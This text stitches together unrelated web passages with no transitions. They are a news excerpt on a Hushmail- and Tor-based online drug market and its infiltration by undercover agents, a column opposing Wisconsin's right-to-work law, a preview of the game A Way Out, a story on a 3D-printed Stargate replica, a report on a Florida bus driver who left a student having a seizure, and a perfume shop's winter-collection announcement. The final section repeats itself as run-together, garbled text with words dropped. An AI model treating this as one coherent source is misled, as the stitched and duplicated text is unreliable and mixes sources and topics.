In 2007, one of the defendants sent an e-mail to Willems saying that Hushmail was a secure method of communicating because the Canada-based service would not hand over e-mail content to law enforcement agents. That’s an assertion that turned out not to be true, as Threat Level reported that same year.
The indictment does not give any indication how the feds pierced the veil of the technological tools used to shield the operation from being tracked, but the document is filled with evidence gathered from e-mail communications that took place between 2007 and 2009, while the defendants were using Hushmail.
The online drug operation moved to the Tor anonymizing network in 2010.
Tor, which operates on a network of computers around the world, anonymizes traffic so that the IP address from which communication originates is masked. Tor traffic is encrypted as it hops from node to node around the world, but is decrypted at the final exit node before being delivered to its destination. Anyone operating a Tor exit node can therefore view the content of communications at that point if the packets themselves are not encrypted, and the destination IP address, even if they are.
The online drug market worked much the way underground carding forums work. Sellers, who were apparently screened by the forum administrators, advertised their wares anonymously in the online storefront to registered customers. The operators apparently guaranteed delivery of the drugs to customers all over the world and charged a commission based on the value of the order. They also offered customer support services, including advice on how to package and deliver drugs.
Customers paid for their drugs via Western Union, PayPal, iGolder, Pecunix and cash.
Undercover law enforcement agents infiltrated the group in a sting dubbed “Operation Adam Bomb.” According to the indictment, between April and August 2011 one of the defendants received more than $261,000 in PayPal transfers for the purchase of drugs, including $2,160 that an undercover agent with the Drug Enforcement Administration sent him to buy about 30 grams of LSD.
He’s a fourth-generation Hoffman, the current owner of an award-winning Wisconsin-based, family-owned road construction company in Black River Falls that also does business in Minnesota. His great-grandfather founded the company exactly 100 years ago and built the first major paved road in Wisconsin’s Jackson County.
So I figured Hoffman the businessman would be happy about Wisconsin’s recently passed “right to work” law, which grants a worker the “freedom” not to pay union dues in a union shop.
It’s sold as a better way to attract businesses to the state, thereby creating jobs. Never mind that by federal law, unions still must negotiate for that worker who isn’t paying dues and also represent them if they file a grievance or are unjustly shown the door.
Let’s be blunt here. The legislation should be called the “right to bust unions” law, which is what its supporters really hope will happen. But let’s skip the semantic play on words for now.
Back to Hoffman. Happy is hardly the word.
“This (law) is wrong,” he tells me over the drone of the airplane engines. “Over time, as has been seen in other states, there’s a spiraling downward of wages and loss of high-paying, middle-level jobs. By workers opting out of paying dues, it also erodes the union’s ability to administer contracts and provide highly skilled, trained workers.”
Now this guy sounds more like a union business agent than a profit-seeking capitalist. But union’s not a dirty word in Hoffman’s household or workplace. His company grew by 50 percent last year, adding 200 employees and winning contracts in the two states in large part because of his productive and well-trained, mostly union workforce, not in spite of it.
Now he fears that Wisconsin, and by extension his company, will suffer more economic harm in terms of job growth, depressed wages and perhaps a less skilled or trained labor force by going to a right-to-work option.
8 OF 10 WORST STATES
He may have a point.
The nonpartisan Economic Policy Institute, or EPI, conducted a study in 2011 on manufacturing job growth in Oklahoma after it passed its right-to-work law in 2001. The study found that manufacturing job growth actually has fallen each year since the law was passed after steady growth the previous 10 years. The total number of manufacturing jobs in the state fell by about a third in the 10 years after the law was enacted.
“This does not mean that right-to-work in itself caused a decline in the state’s manufacturing employment,” the study said. “Rather, it suggests that right-to-work had no positive impact on the manufacturing sector and, in the face of broader forces undermining the sector, right-to-work was simply impotent.”
Another institute analysis found that the average full-time, year-round worker in right-to-work states actually makes about $1,500 less annually than a similar worker in a state that wasn’t right-to-work.
In a recent blog post before the bill was passed, Ross Eisenberry, the institute’s vice president, noted that seven of the 10 states with the worst unemployment rates are right-to-work states.
He also cited a study by the Organization for Economic Cooperation and Development that ranked all 50 states in terms of quality-of-life indicators. They include jobs, education, housing and heath. Eight of the 10 worst states, Eisenberry noted, were right-to-work states. Eight of the best were states that were not right-to-work.
Coincidence? I don’t think so.
COSTCO VS. SAM’S CLUB
In his testimony before a Wisconsin Senate committee last month, Hoffman maintained that he has enjoyed a healthy relationship for years with labor and engineering unions in both states that provide him with a skilled labor force, both long-term and at a moment’s notice.
He maintained that right-to-work legislation would lead to dissension in the workplace, defund the unions, making it more difficult for them to pay for training and would ultimately increase company costs.
Now, how could a law that could lead to lower or more minimum-wage salaries cost a company more money?
A 2006 Harvard Business Review article made that argument by comparing the big-box non-union retailer, Sam’s Club, which is owned by Walmart, and Costco.
It found that:
— Costco employees earn about 40 percent more than those at Sam’s Club.
— 82 percent of Costco employees have health-insurance coverage, compared with less than half at Walmart.
— 91 percent of Costco’s employees are covered by retirement plans, with the company contributing an annual average $1,330 per employee, while 64 percent of employees at Sam’s Club are covered, with the company contributing an annual average $747 per employee.
Undoubtedly Costco spends far more money than Sam’s Club or Walmart on worker wages and compensation. But it makes up for it in worker productivity and retention.
It found that employee turnover at Costco is 17 percent overall and 6 percent after one year’s employment. In contrast, turnover at Walmart is 44 percent a year, close to the industry average
It crunched some numbers and concluded that “the total annual cost to Costco of employee churn is $244 million, whereas the total annual cost to Sam’s Club is $612 million.”
“In return for its generous wages and benefits, Costco gets one of the most loyal and productive workforces in all of retailing, and, probably not coincidentally, the lowest shrinkage (employee theft) figures in the industry,” the magazine noted. “As a result, Costco generated $21,805 in U.S. operating profit per hourly employee, compared with $11,615 at Sam’s Club.”
MORE HIRING HERE
Hoffman did not want to discuss the politics behind right-to-work legislation. He’s foremost a conscientious businessman who is mostly driven by his simple company motto: “Our company is about our people.”
About 45 percent of Hoffman’s contracts are from Wisconsin’s Department of Transportation. Roughly 15 percent is from Minnesota’s DOT. He reads the business tea leaves and sees a glaring disparity between the border states.
Wisconsin, his home state, is facing an estimated $2.2 billion budget deficit over the next two years. Minnesota, in turn, has $2 billion budget surplus and lawmakers are itching to spend some of it on road and bridge repair.
That’s one reason Hoffman is expanding an office in Lakeville and hiring more workers here. In Wisconsin, however, he has canceled plans to invest in more equipment or hire more workers because of the uncertainty surrounding the new right-to-work law.
“There will be no savings in right to work that the state will see,” Hoffman said during his testimony. “Good-paying construction jobs will be replaced with minimum-wage jobs. Talk of repealing prevailing wage statutes will lead to a steady decline of skilled, trained workers who earn a living wage.”
His views fell on deaf ears, because this law is driven more by union bashing and busting rhetoric and politics than by economic common sense.
Good luck, Wisconsin workers, union and nonunion alike.
The developers of A Way Out have kept the focus on the parallel gameplay mechanics from Brothers, but they've upped the ante for this one--including a grittier, more realistic story as well as 3D environments and characters. Set in what looks like the '70s, A Way Out focuses on the story of two convicts who are on the run after a prison escape. After a getaway chase, the story transitions to follow these two characters as they come to grips with their past, all while trying to stay one step ahead of the law.
Unlike Brothers, A Way Out is only playable in co-op with another player. Either through local splitscreen or online co-op, players will always need another person to experience the game with. One player might have to drive a getaway vehicle while another stays in the back to shoot at oncoming vehicles. It's a pretty clever take on the style of gameplay that was present in Brothers, controlling two unique characters with different perspectives, but considerably expanded .
Here are some other things we learned about A Way Out during the livestream:
One player can be controlled while the other is seeing a cutscene
There are different ways to approach a scenario--either character can potentially be the one to deal with a situation.
Hazelight is the studio of film director Josef Fares, who directed Brothers.
"They are a small and very talented group with a vision and passion for a game that is truly unique in the video game industry," EA executive Patrick Soderlund said in a statement. "A Way Out is going to surprise people with its innovative co-op gameplay and the way it tells an emotional story solely through these two characters."
Fares himself added: "The idea for A Way Out came when me and a friend tried to find a story driven co-op game that wasn't a drop-in/drop-out experience. We simply could not find a game like that. We're also bringing an innovative look into how to tell the story of both these characters. Players will be immersed in the game with the way we change the display from a full screen experience seamlessly to different cinematic split-screen formats. By focusing on the two characters in different ways, it opens up a huge variety of gameplay, as we really wanted to avoid repetitions so they will get to know the characters through very different situations."
Slated to arrive in early 2018 for Xbox One, PS4, and PC, A Way Out looks to be an exciting and original debut from Hazelight.
If you’re anything like the folks at Belgium’s Musée royal de Mariemont, the answer to that question is a 3D-printed replica of the series’ iconic ring-shaped portal — sadly without the inter-dimensional travel part, though.
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“We were approached by the museum as part of their planning for an exhibition called ‘From Stargate to Comics: The Egyptian Gods in the geek culture,’” Hermanns Christophe, CEO and owner of 3D-printing studio Vigo Universal, told Digital Trends. “In preparation for it, they came to us earlier this year and asked if we could use 3D printing to create a replica of the Stargate. We’re always excited about using 3D printing for unique projects, so we were happy to get involved.”
The lofty goal of building a 20-foot replica of the movie prop was a bold proposition. It wound up taking more than 1,000 working hours to create, and required the 3D printing of more than 2,000 separate parts, along with 10,000 cuttings. It involved a Flashforge 3D printer farm, Marchant Dice milling cutter, and a laser cutter.
“The biggest challenge was that we had no plans to work from,” Christophe said. “The only source materials we had were the movie and whatever images we could find on the internet. From that, we had to create everything for the 3D printing. This wasn’t a toy — this was something that had to look good as part of an exhibition, and had to be built to last.”
A Florida bus driver reportedly refused to help a student who was suffering a medical emergency that could have taken his life. Instead of taking Andrew Shepard straight home or to the hospital, the bus driver apparently dropped him off at his bus stop and drove away.
Andrew, an 8th-grader in South Florida, has diabetes and Addison’s disease, which can cause him to suffer seizures due to low blood sugar. The student went through the frightening ordeal on his Broward County school bus Tuesday, WSVN reports.
"He was on the bus in the back, and I turned around and saw him twitching," said Shepard's sister Jazmen Lucas.
Jazmen immediately asked for help from the bus driver.
"I said, 'Can you take me home like to my house because he's having a seizure?'” said Jazmen. “And he was like, 'No, you have to get off the bus.'"
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"I called my mom, and she called 911."
Andrew’s mother, Cynthia Shepard, is shocked that the bus driver could have simply refused to help her son in a life-threatening emergency.
"He looked my child in his face and told him to get off the bus," said Cynthia Shepard. "How do you do that?"
Jazmen even had to carry her brother off the bus.
"Having a seizure is like dead weight. He's a big kid. It takes a lot for her to do that by herself," the distraught mother said, through tears. "I'm beyond furious."
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After letting the kids off, the bus driver sped away.
Neighbors came out to help and the paramedics arrived, Cynthia Shepard said.
"The paramedics got there, his blood sugar was 30. A normal blood sugar is 80 to 120. He can die. He can go into a diabetic coma and die."
The mom slammed the bus driver for being a “coward.”
“If my daughter was not there, my son wouldn't be here today," she said in tears. "All he had to do was call 911. No one asked you to help him, put your hands on him or anything, just call 911, and you didn't."
The Broward County School Board said it was investigating the situation.
Sources: WSVN
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Solstice Scents :: Solstice Scents News :: Solstice Scents News Share | Solstice Scents WINTER COLLECTION RELEASE 12.9.16 at 6 pm EST Author Message Solstice Scents
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Subject: Solstice Scents WINTER COLLECTION RELEASE 12.9.16 at 6 pm EST Thu Dec 08, 2016 10:59 pm Subject: Solstice Scents WINTER COLLECTION RELEASE 12.9.16 at 6 pm ESTThu Dec 08, 2016 10:59 pm
The Winter Collection will go live at 6 p.m. EST tomorrow, December 9th, at www.solsticescents.com Follow us on Instagram @solsticescents and on Facebook at www.solsticescents.net for info and sneak peaks.
A list of available products is listed just below. Scroll beyond the list for the full winter collection perfume descriptions. Allow the pictures if you'd like to see any of the images.
We will begin shipping all orders from tomorrow night on Saturday. We expect to have all of the orders placed tomorrow shipped out by Tuesday and orders from this weekend on Tuesday and Wednesday. These estimates are approximate but we are basing this guesstimate on previous releases' volume. If you're domestic, you still have plenty of time for Christmas gifts to arrive. We also sell e-gift certificates. Solstice Scents 5 mls, 2.5 ml EDP sprays and sampler packs make great stocking stuffers and gifts.
Are you new to our store? Please read this Perfume Sampling Tips article to learn how to test your perfume samples when they arrive and how to choose some samples.
AVAILABLE ITEMS AT-A-GLANCE:
Blackburn Farmstead Whipped Soap and Burnishing Glace (restocks from the Fall Collection)
Buttered Rum Mallow 5 ml perfume oil (*slightly* less spicy than previous years though still pretty spicy)
Chocolate Peppermint Bark Whipped Soap
Dark Ginger Spicecake *reformulated* 5 ml perfume oil, 60 ml Eau de Parfum spray (EDP), 2.5 ml EDP sample
Flintlock 5 ml perfume oil, 60 ml EDP, 2.5 ml EDP sample, Burnishing Glace
Lemon Ginger Creams 5 ml perfume oil, Burnishing Glace, Whipped Soap (I'm having trouble sourcing one of the oils for this fragrance and it may be the last year for this exact formula. Whipped Soap will not be restocked).
Monarch from the Woodland Collection debuts in 60 ml EDP and 2.5 ml EDP sample (see our site for full description as a perfume oil)
Night Star 5 ml perfume oil
Outpost 5 ml perfume oil, 60 ml EDP, 2.5 ml EDP sample, Burnishing Glace, Whipped Soap
Snowmint Mallow 5 ml perfume oil, 60 ml EDP, 2.5 ml EDP sample and first time in Burnishing Glace!
Snowshoe Pass 5 ml perfume oil, 60 ml EDP, 2.5 ml EDP sample, Whipped Soap, Burnishing Glace
Spiced Cranberry & Spruce Whipped Soap
Sugarvale 5 ml perfume oil, Burnishing Glace, Whipped Soap
Winslow's 5 ml perfume oil
Our General Catalog Pharaoh scent will be stocked in limited quantities in Burnishing Glace along with the Ghost (unscented) Burnishing Glace
BUTTERED RUM MALLOW
Rum, Marshmallow, Nutmeg, Cardamom, Clove, Butter, Cinnamon, Vanilla, Brown Sugar & All Spice
NOT RECOMMENDED FOR USE BY WOMEN WHO ARE PREGNANT OR NURSING.
(*Slightly less spicy than last year's version but still a spice-forward perfume)
Buttered Rum Mallow smells of spiced rum swirled with marshmallow and brown sugar. This is a very spicy perfume. On cold sniff and initial application, the spiced rum, cardamom and nutmeg are the most prominent notes, followed quickly by the clove. The heavy winter spices and rum are tempered with the butter, brown sugar and marshmallow and this fragrance will become a bit sweeter the longer it is on the skin. It evokes the mood of being snuggled in a warm sweater, curled up with a hot mug of your favorite holiday drink in the presence of a roaring fire while everyone is asleep and inches of snow blanket the ground outside. Buttered Rum Mallow is a gourmand blend at the core but it is really dark, sophisticated and rich as well. This is a gourmand fragrance unlike the sweeter cake and mallow counterparts and may be one men will also enjoy.
Buttered Rum Mallow contains a blend of rum, marshmallow, butter, brown sugar, cinnamon, vanilla and amber with essential oils of cardamom, nutmeg, clove and all spice.
5 ml perfume oil
CHOCOLATE PEPPERMINT BARK
Creamy milk chocolate bark studded with crushed cool peppermint candies, drizzled with a touch of dark and white chocolates. Blooms wonderfully in the shower.
Whipped Soap only
DARK GINGER SPICECAKE - *Reformulated 2016*
Gingerbread, Vetiver, Patchouli, Cedar, Amber, Benzoin
Gingerbread Cookies crash into a dark earthy corruption of patchouli and vetiver, accented by cedar wood. A smooth amber accord softens the edges and ties the gingerbread and dirty earth notes together. A few drops of candied vanillic benzoin, molasses and warm ginger emerge with the earthy notes and amber on the dry down. This perfume opens with a bold spicy gingerbread with a cinnamon bark overtone. There is a great deal of vetiver and smooth aged patchouli lurking just beneath but you'll also detect a light woodsy cedar. These notes serve to temper the sweetness and add dark and mysterious depth. The spicy elements of the gingerbread do lessen as this perfume wears and the base notes begin to take over about 45 minutes to an hour in. At this point, the molasses in the gingerbread will start to come forward rather than the spicier aspects and the longer this wears, the more dominant the vetiver and patchouli become. Overtime, the gingerbread transforms closer to a molasses-heavy iced ginger snap cookie without cinnamon. This is perfect for those who like foodie blends a bit darker.
5 ml perfume oil, 60 ml EDP, 2.5 ml EDP sample
FLINTLOCK
Saddle Leather, Virginia Cedar, Tobacco, Black Pepper, Woods, Bayberry & Evergreens
NOT TO BE USED BY WOMEN WHO ARE PREGNANT OR NURSING.
A frozen expanse of untamed early America stretches as far as the eye can see. The boughs of cedar and conifers are heavy with snow. Your steed is laden with provisions, taking a slow measured pace through this unfamiliar region. Subtle wafts of your last fire emanate from your coat. Your saddle is warm and sturdy beneath you as your ride with trusty musket close at hand, prepared for the uncalculated dangers only the deep winter wilderness can oblige.
Flintlock is an intensely dark, woody, smokey and slightly coniferous blend. It is a combination of worn brown saddle leather, Virginia cedarwood, tobacco absolute, black pepper, sandalwood and a medley of other woods with a touch of evergreens, bayberry and smoke that will plunge you deep into a Pioneer's winter in the American frontier. Flintlock is darker on cold sniff and initial application than on the dry down. The evergreen and bayberry notes are very mild and primarily detectable at this stage in the opening. The blend wears like a warm brown leather jacket infused with cedar and smoke. It is woody, smoky and refined on the dry down.
5 ml perfume oil, 60 ml EDP, 2.5 ml EDP sample, Burnishing Glace
LEMON GINGER CREAMS
Gingersnap Sandwich Cookies Filled With Vanilla-Lemon Cream
(I'm having trouble sourcing one of the oils for this fragrance and it may be the last year for this exact formula. Whipped Soap will not be restocked).
Vanilla cream filling infused with loads of bright lemon and sandwiched in between two perfectly spicy gingersnap cookies. On cold sniff and initial application the lemon cream filling is sweet and tart tempered by the vanilla blend. The gingersnap cookies are the perfect blend of ginger and cinnamon and pair wonderfully with the citrusy sweet-cream filling. This fragrance is uplifting and comforting. The lemon will soften after some time on the skin as the vanilla cream filling becomes more prominent in the dry down. Lemon Ginger Creams contains real ginger essential oil that smells incredible. After an hour or so of wear, Lemon Ginger Creams turns into a soft vanilla cream filling scent with only a faint trace of lemon and gingersnap.
5 ml perfume oil, Burnishing Glace, Whipped Soap
NIGHT STAR
Patchouli, Nutmeg, Frankincense, Myrrh, Woods and Lemon
NOT TO BE USED BY WOMEN WHO ARE PREGNANT OR NURSING.
Ceremonial resins, patchouli, cold and spicy nutmeg, warm sandalwood and a touch of lemon, orange and clove meld together to create a dark, dry, resinous, earthy and spicy aroma.
Cold sniff and initial application features a marriage of frankincense and nutmeg essential oils hovering above grounding, earthy patchouli essential oil. The nutmeg is divine, authentic and spicy and adds a chilly and festive mood to the blend. As the nutmeg and frankincense subside, the dry myrrh essential oil comes forward with a very light lemon note. All of the notes combine to form a dry down which is primarily patchouli with resinous myrrh, a whisper of citrus and woods and a delicate bit of spices.
5 ml perfume oil
OUTPOST
Sugar Crystals, Spruce, Fir, Patchouli, Soft Woods, Bayberry, Mistletoe, Amber
A beacon of light amidst cold, desolate wilderness. Pass through a copse of young evergreens into a warm cedar cabin and thaw out under a soft Afghan blanket by a blazing fire while sugared treats from the kitchen fill the air. Notes include sugar crystals, spruce, fir, a medley of soft woods, sandalwood, oud, cedar, patchouli, guaiacwood, bayberry, mistletoe and a touch of amber.
This complex and unique blend will take you on a morphing adventure. On cold sniff and initial application, you'll be greeted with evergreen and bayberry top notes and loads of sugar-encrusted musky/earthy woods. The dry down is a warm, sweet and comforting blend with a tiny wisp of sweet hearth smoke. The green notes are very faint at this stage. A base of deep sugared-patchouli and musky cedar is prominent. It is festive and woodsy though not as literal as some of our other woodsy fragrances. It is very sweet, woody and musky all at once with coniferous undertones. Unisex.
Despite the evergreens and woods used, this is a very gentle blend of soft woods as opposed to a dark, heavy, woodsy blend. The sugar keeps it light-hearted and the other notes bring a festive winter impression to mind. Outpost is very fun to journey with when you're outside on a cold day. Cool weather really brings the notes of Outpost to life and enhances the blend.
5 ml perfume oil, 60 ml EDP, 2.5 ml EDP sample, Burnishing Glace, Whipped Soap
SNOWMINT MALLOW
Peppermint, Vanilla Cake, Flaked Coconut, Sugar Cookies & Marshmallow Creme
Snowmint Mallow is subtle yet sweet and cakey blend featuring cool creamy peppermint, vanilla cake, white flaked coconut, fresh baked cookies and a dollop of marshmallow creme.On cold sniff and initial application, each of the notes are detectable with the peppermint floating on the top. The peppermint is a top note and therefore its presence is short lived. Snowmint Mallow quickly evolves into a gourmand delight of mouthwatering fluffy vanilla cake, sugar cookies, coconut and mallow. Past initial application, Snowmint Mallow snuggles in close to the skin. Whiffs of coconut, cookies and cake will be had occasionally but since this fragrance wears closer in your aura, it makes for a perfect subtle sweet scent for the workplace or for when you'd like to smell good but not too heavy. It also makes for a really cozy and comforting fragrance to wear just before bed. This heavenly fluffy foody fragrance is especially recommended to those who love cake and cookie scents.
5 ml perfume oil, 60 ml EDP, 2.5 ml EDP sample, Burnishing Glace
SNOWSHOE PASS
White Amber, White Musk, Vanilla Accord, Peppermint Cream, Cold Winds
A chilly white blend of an ethereal snow blanket and cold winter winds, Snowshoe Pass combines pale white amber, delicate and smooth white musk, a sweet touch of vanilla and a faint whisper of creamy cold peppermint. The result is a unique take on a winter scent inspired by heavy snows and desolate rural regions. On cold sniff and initial application a creamy peppermint note is detectable as a top note, though it is a careful addition that takes a backseat to the other notes as it wears on the skin, ultimately receding entirely. There is just enough peppermint to enhance the coolness of this plushly white blend. The other notes swirl together to evoke not only a snow covered landscape that may only be traversed with snowshoes and a pioneer spirit, but the calm and intense silence after a snow deep in the wild.
5 ml perfume oil, 60 ml EDP, 2.5 ml EDP sample, Whipped Soap, Burnishing Glace
SUGARVALE
Candied Pecans, Butterscotch, Buttered Rum, Brown Sugar, Maple Syrup, Hot Pralines & Milk Chocolate Cocoa
Nestled in a mountain vale lies a small, quaint community with rustic buildings housing friendly, hardworking people. A special delight during the harsh and demanding winter season is the Sugarvale Candy Kitchen in the middle of town. Smoke billows profusely from the chimney of the confectioner's cabin. Aromas of candied pecans, butterscotch, buttered rum, brown sugar, maple syrup, hot pralines and milk chocolate cocoa fills the air across town, beckoning the inhabitants inside to warm cold bodies and empty tummy's alike.
On initial application and cold sniff, candied pecans emerge from the mouthwatering golden notes mentioned above. The pecans subside leaving the butterscotch, buttered rum, maple and brown sugar sweetening your skin with just a hint of hot pralines. The milk chocolate hot cocoa is not readily detectable but the chocolate note helps to round out the blend from being too sweet, though this mix is toothsome and very warm and delicious!
5 ml perfume oil, Burnishing Glace, Whipped Soap
SPICED CRANBERRY & SPRUCE
Tart plump sugared cranberries with a whimsical wisp of spice in the background and festive green Spruce Essential Oil combine to bring a very wintery holiday blend to you this year. A unique fragrance to enhance your Winter Season. Smells like a coniferous cranberry juice!
Whipped Soap only.
WINSLOW'S
Rows of Christmas Trees, Clove Studded Oranges, Bayberry Tapers, Handcrafted Wreaths & Mistletoe
Winslow's Christmas Tree Farm sits at the base of Mount Willow in the town of Foxcroft. The annual winter crafts festival at Winslow's offers handmade bayberry candles, rustic wreaths, orange pomanders and much more. Meandering down the lane leading into Winslow's, you pass rows upon rows of fragrant Christmas trees ready for harvest.
Winslow's is the scent of winter. Fir, woods, bayberry and mistletoe meld with spicy clove and blood orange essential oil and the result smells effectively like bottled winter. Winslow's contains fir absolute and essential oil, spruce EO, cedar, a touch of guaiacwood and a blend of several fragrance oils in addition to the bayberry, mistletoe, clove and blood orange. If you enjoy evergreen and/or woods scents make sure to try Winslow's. The combination of bayberry and clove gives the impression of a Victorian Christmas. Unisex.
5 ml perfume oil
Endangered perfume alert: The last of our Master Bedroom perfume oil is currently on our site. This perfume is no longer available in sample format. We can no longer source one of the important notes in this fragrance and there are only about 5 bottles left. I expect these will sell well ahead of the Winter Collection release. Maine Moon, Shadows in the Night, Whispers in the Night and Fires in the Night will be on hiatus for a while due to low sales. There are a couple of bottles of Maine Moon left on our site at present. In early 2017 we will be taking away a few more of our lower sellers and retiring them for a bit in an effort to make room for new perfumes to join our catalog.
We are pleased to announce a new retailer: Pretty Indulgent in Canada will be carrying our winter perfume oils, select 5 ml general catalog perfumes and a few of the 2.5 ml EDP sample sprays. These items will be listed on their site in the next few weeks. If you have any requests of what you'd like to see available, please let her know! https://www.facebook.com/Pretty-Indulgent-167324353288981/?fref=ts
The Rhinestone Housewife will be carrying our winter 60 ml EDPs and perfumes. If you're an international customer interested in 60 ml EDPs, this is where you will go to purchase them as we do not ship the 60 mls internationally. She has a few bottles of Master Bedroom and Maine Moon 5 ml perfumes left.
Femme Fatale Cosmetics Australia has listed our fall collection and the winter collection will be on their site in a few weeks. They also currently have perfumes that we do not have in stock: Cameo, Chiffon, Blossom Jam Teacakes (all from our spring line), Rose Leather and Vanilla Pipe Tobacco. They have a few bottles of Master Bedroom 5 ml left. . We expect to have all of the orders placed tomorrow shipped out by Tuesday and orders from this weekend on Tuesday and Wednesday. These estimates are approximate but we are basing this guesstimate on previous releases' volume. If you're domestic, you still have plenty of time for Christmas gifts to arrive. We also sell e-gift certificates. Solstice Scents 5 mls, 2.5 ml EDP sprays and sampler packs make great stocking stuffers and gifts.Please read this Perfume Sampling Tips article to learn how to test your perfume samples when they arrive and how to choose some samples. http://solsticescents.forumotion.com/t712-how-to-properly-sample-your-solstice-scents-perfumes Whipped Soap and Burnishing Glace (restocks from the Fall Collection)5 ml perfume oil (*slightly* less spicy than previous years though still pretty spicy)Whipped Soap5 ml perfume oil, 60 ml Eau de Parfum spray (EDP), 2.5 ml EDP sample5 ml perfume oil, 60 ml EDP, 2.5 ml EDP sample, Burnishing Glace5 ml perfume oil, Burnishing Glace, Whipped Soap (I'm having trouble sourcing one of the oils for this fragrance and it may be the last year for this exact formula. Whipped Soap will not be restocked).from the Woodland Collection debuts in 60 ml EDP and 2.5 ml EDP sample (see our site for full description as a perfume oil)5 ml perfume oil5 ml perfume oil, 60 ml EDP, 2.5 ml EDP sample, Burnishing Glace, Whipped Soap5 ml perfume oil, 60 ml EDP, 2.5 ml EDP sample and first time in Burnishing Glace!5 ml perfume oil, 60 ml EDP, 2.5 ml EDP sample, Whipped Soap, Burnishing GlaceWhipped Soap5 ml perfume oil, Burnishing Glace, Whipped Soap5 ml perfume oilOur General Catalogscent will be stocked in limited quantities in Burnishing Glace along with theNOT RECOMMENDED FOR USE BY WOMEN WHO ARE PREGNANT OR NURSING.(*Slightly less spicy than last year's version but still a spice-forward perfume)Buttered Rum Mallow smells of spiced rum swirled with marshmallow and brown sugar. This is a very spicy perfume. On cold sniff and initial application, the spiced rum, cardamom and nutmeg are the most prominent notes, followed quickly by the clove. The heavy winter spices and rum are tempered with the butter, brown sugar and marshmallow and this fragrance will become a bit sweeter the longer it is on the skin. It evokes the mood of being snuggled in a warm sweater, curled up with a hot mug of your favorite holiday drink in the presence of a roaring fire while everyone is asleep and inches of snow blanket the ground outside. Buttered Rum Mallow is a gourmand blend at the core but it is really dark, sophisticated and rich as well. This is a gourmand fragrance unlike the sweeter cake and mallow counterparts and may be one men will also enjoy.Buttered Rum Mallow contains a blend of rum, marshmallow, butter, brown sugar, cinnamon, vanilla and amber with essential oils of cardamom, nutmeg, clove and all spice.Creamy milk chocolate bark studded with crushed cool peppermint candies, drizzled with a touch of dark and white chocolates. Blooms wonderfully in the shower.Gingerbread Cookies crash into a dark earthy corruption of patchouli and vetiver, accented by cedar wood. A smooth amber accord softens the edges and ties the gingerbread and dirty earth notes together. A few drops of candied vanillic benzoin, molasses and warm ginger emerge with the earthy notes and amber on the dry down. This perfume opens with a bold spicy gingerbread with a cinnamon bark overtone. There is a great deal of vetiver and smooth aged patchouli lurking just beneath but you'll also detect a light woodsy cedar. These notes serve to temper the sweetness and add dark and mysterious depth. The spicy elements of the gingerbread do lessen as this perfume wears and the base notes begin to take over about 45 minutes to an hour in. At this point, the molasses in the gingerbread will start to come forward rather than the spicier aspects and the longer this wears, the more dominant the vetiver and patchouli become. Overtime, the gingerbread transforms closer to a molasses-heavy iced ginger snap cookie without cinnamon. This is perfect for those who like foodie blends a bit darker.NOT TO BE USED BY WOMEN WHO ARE PREGNANT OR NURSING.A frozen expanse of untamed early America stretches as far as the eye can see. The boughs of cedar and conifers are heavy with snow. Your steed is laden with provisions, taking a slow measured pace through this unfamiliar region. Subtle wafts of your last fire emanate from your coat. Your saddle is warm and sturdy beneath you as your ride with trusty musket close at hand, prepared for the uncalculated dangers only the deep winter wilderness can oblige.Flintlock is an intensely dark, woody, smokey and slightly coniferous blend. It is a combination of worn brown saddle leather, Virginia cedarwood, tobacco absolute, black pepper, sandalwood and a medley of other woods with a touch of evergreens, bayberry and smoke that will plunge you deep into a Pioneer's winter in the American frontier. Flintlock is darker on cold sniff and initial application than on the dry down. The evergreen and bayberry notes are very mild and primarily detectable at this stage in the opening. The blend wears like a warm brown leather jacket infused with cedar and smoke. It is woody, smoky and refined on the dry down.Vanilla cream filling infused with loads of bright lemon and sandwiched in between two perfectly spicy gingersnap cookies. On cold sniff and initial application the lemon cream filling is sweet and tart tempered by the vanilla blend. The gingersnap cookies are the perfect blend of ginger and cinnamon and pair wonderfully with the citrusy sweet-cream filling. This fragrance is uplifting and comforting. The lemon will soften after some time on the skin as the vanilla cream filling becomes more prominent in the dry down. Lemon Ginger Creams contains real ginger essential oil that smells incredible. After an hour or so of wear, Lemon Ginger Creams turns into a soft vanilla cream filling scent with only a faint trace of lemon and gingersnap.NOT TO BE USED BY WOMEN WHO ARE PREGNANT OR NURSING.Ceremonial resins, patchouli, cold and spicy nutmeg, warm sandalwood and a touch of lemon, orange and clove meld together to create a dark, dry, resinous, earthy and spicy aroma.Cold sniff and initial application features a marriage of frankincense and nutmeg essential oils hovering above grounding, earthy patchouli essential oil. The nutmeg is divine, authentic and spicy and adds a chilly and festive mood to the blend. As the nutmeg and frankincense subside, the dry myrrh essential oil comes forward with a very light lemon note. All of the notes combine to form a dry down which is primarily patchouli with resinous myrrh, a whisper of citrus and woods and a delicate bit of spices.A beacon of light amidst cold, desolate wilderness. Pass through a copse of young evergreens into a warm cedar cabin and thaw out under a soft Afghan blanket by a blazing fire while sugared treats from the kitchen fill the air. Notes include sugar crystals, spruce, fir, a medley of soft woods, sandalwood, oud, cedar, patchouli, guaiacwood, bayberry, mistletoe and a touch of amber.This complex and unique blend will take you on a morphing adventure. On cold sniff and initial application, you'll be greeted with evergreen and bayberry top notes and loads of sugar-encrusted musky/earthy woods. The dry down is a warm, sweet and comforting blend with a tiny wisp of sweet hearth smoke. The green notes are very faint at this stage. A base of deep sugared-patchouli and musky cedar is prominent. It is festive and woodsy though not as literal as some of our other woodsy fragrances. It is very sweet, woody and musky all at once with coniferous undertones. Unisex.Despite the evergreens and woods used, this is a very gentle blend of soft woods as opposed to a dark, heavy, woodsy blend. The sugar keeps it light-hearted and the other notes bring a festive winter impression to mind. Outpost is very fun to journey with when you're outside on a cold day. Cool weather really brings the notes of Outpost to life and enhances the blend.Snowmint Mallow is subtle yet sweet and cakey blend featuring cool creamy peppermint, vanilla cake, white flaked coconut, fresh baked cookies and a dollop of marshmallow creme.On cold sniff and initial application, each of the notes are detectable with the peppermint floating on the top. The peppermint is a top note and therefore its presence is short lived. Snowmint Mallow quickly evolves into a gourmand delight of mouthwatering fluffy vanilla cake, sugar cookies, coconut and mallow. Past initial application, Snowmint Mallow snuggles in close to the skin. Whiffs of coconut, cookies and cake will be had occasionally but since this fragrance wears closer in your aura, it makes for a perfect subtle sweet scent for the workplace or for when you'd like to smell good but not too heavy. It also makes for a really cozy and comforting fragrance to wear just before bed. This heavenly fluffy foody fragrance is especially recommended to those who love cake and cookie scents.A chilly white blend of an ethereal snow blanket and cold winter winds, Snowshoe Pass combines pale white amber, delicate and smooth white musk, a sweet touch of vanilla and a faint whisper of creamy cold peppermint. 